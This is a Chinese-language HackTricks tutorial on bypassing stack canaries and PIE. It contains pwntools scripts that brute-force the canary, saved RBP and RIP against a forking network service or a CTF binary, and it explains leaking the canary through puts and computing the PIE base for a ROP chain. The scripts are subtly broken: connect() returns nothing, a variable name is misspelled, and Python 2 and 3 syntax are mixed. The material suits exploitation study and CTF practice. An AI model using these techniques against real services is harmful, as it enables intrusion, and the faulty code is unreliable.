9.5 KiB
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在 HackTricks 中看到你的公司广告吗?或者你想获得PEASS 的最新版本或下载 HackTricks 的 PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord 群组 或 telegram 群组 或在 Twitter 上关注我 🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
如果你面对的是一个受到堆栈保护(canary)和位置无关可执行文件(PIE)保护的二进制文件,你可能需要找到一种绕过它们的方法。
{% hint style="info" %}
请注意,如果二进制文件是静态编译的,并且无法识别函数,那么 checksec
可能无法发现二进制文件受到堆栈保护的保护。
然而,你可以手动注意到这一点,如果你发现在函数调用的开始处将一个值保存在堆栈中,并且在退出之前检查该值。
{% endhint %}
暴力破解 Canary
绕过简单的堆栈保护(canary)的最佳方法是,如果二进制文件是一个每次你与其建立新连接时都会派生子进程的程序(网络服务),因为每次连接到它时都会使用相同的堆栈保护(canary)。
然后,绕过堆栈保护(canary)的最佳方法就是逐个字符地暴力破解,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的堆栈保护(canary)字节是否正确。在这个例子中,函数暴力破解一个 8 字节的堆栈保护(canary)(x64),并通过检查服务器是否发送了响应(在其他情况下可以使用try/except)来区分正确猜测的字节和错误的字节:
示例 1
这个示例是为 64 位实现的,但可以很容易地为 32 位实现。
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
示例2
这是为32位实现的,但是很容易改为64位。
还要注意,对于这个示例,程序首先期望一个字节来指示输入的大小和有效载荷。
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
打印 Canary
绕过 Canary 的另一种方法是打印它。
想象一种情况,一个易受栈溢出攻击的程序可以执行一个指向栈溢出部分的 puts 函数。攻击者知道canary 的第一个字节是空字节(\x00
),其余的字节是随机的。然后,攻击者可以创建一个溢出,覆盖栈直到 canary 的第一个字节。
然后,攻击者在负载的中间调用 puts 功能,这将打印出所有的 canary(除了第一个空字节)。
有了这些信息,攻击者可以构造并发送一个新的攻击,知道了 canary(在同一个程序会话中)。
显然,这种策略非常受限,因为攻击者需要能够打印他的负载的内容,以泄露出canary,然后能够创建一个新的负载(在同一个程序会话中)并发送真正的缓冲区溢出。
CTF 示例:https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
PIE
为了绕过 PIE,你需要泄露一些地址。如果二进制文件没有泄露任何地址,最好的方法是在易受攻击的函数中暴力破解栈中保存的 RBP 和 RIP。
例如,如果一个二进制文件同时使用了canary和PIE进行保护,你可以开始暴力破解 canary,然后接下来的8个字节(x64)将是保存的RBP,再接下来的8个字节将是保存的RIP。
要从二进制文件中暴力破解 RBP 和 RIP,你可以发现,如果程序输出了一些内容或者没有崩溃,那么一个有效的猜测字节就是正确的。与用于暴力破解 canary 的相同函数可以用于暴力破解 RBP 和 RIP:
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
获取基地址
打败PIE的最后一步是从泄漏的地址中计算出有用的地址:RBP和RIP。
通过RBP,您可以计算出您在堆栈中编写shell的位置。这对于知道您将在堆栈中编写字符串_"/bin/sh\x00"_的位置非常有用。要计算泄漏的RBP和您的shellcode之间的距离,您只需在泄漏RBP之后设置一个断点,然后检查您的shellcode位于何处,然后可以计算shellcode与RBP之间的距离:
INI_SHELLCODE = RBP - 1152
从RIP中,您可以计算PIE二进制文件的基地址,这是您需要创建有效的ROP链所需的内容。
要计算基地址,只需执行objdump -d vunbinary
并检查反汇编的最新地址:
在这个例子中,您可以看到只需要1个字节和半个字节就可以定位所有的代码,然后,在这种情况下,基地址将是泄漏的RIP,但以"000"结尾。例如,如果泄漏的是_0x562002970ecf,则基地址为_0x562002970000。
elf.address = RIP - (RIP & 0xfff)
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品——The PEASS Family
-
加入 💬 Discord群组 或者 Telegram群组,或者在Twitter上关注我 🐦@carlospolopm.
-
通过向hacktricks仓库和hacktricks-cloud仓库提交PR来分享你的黑客技巧。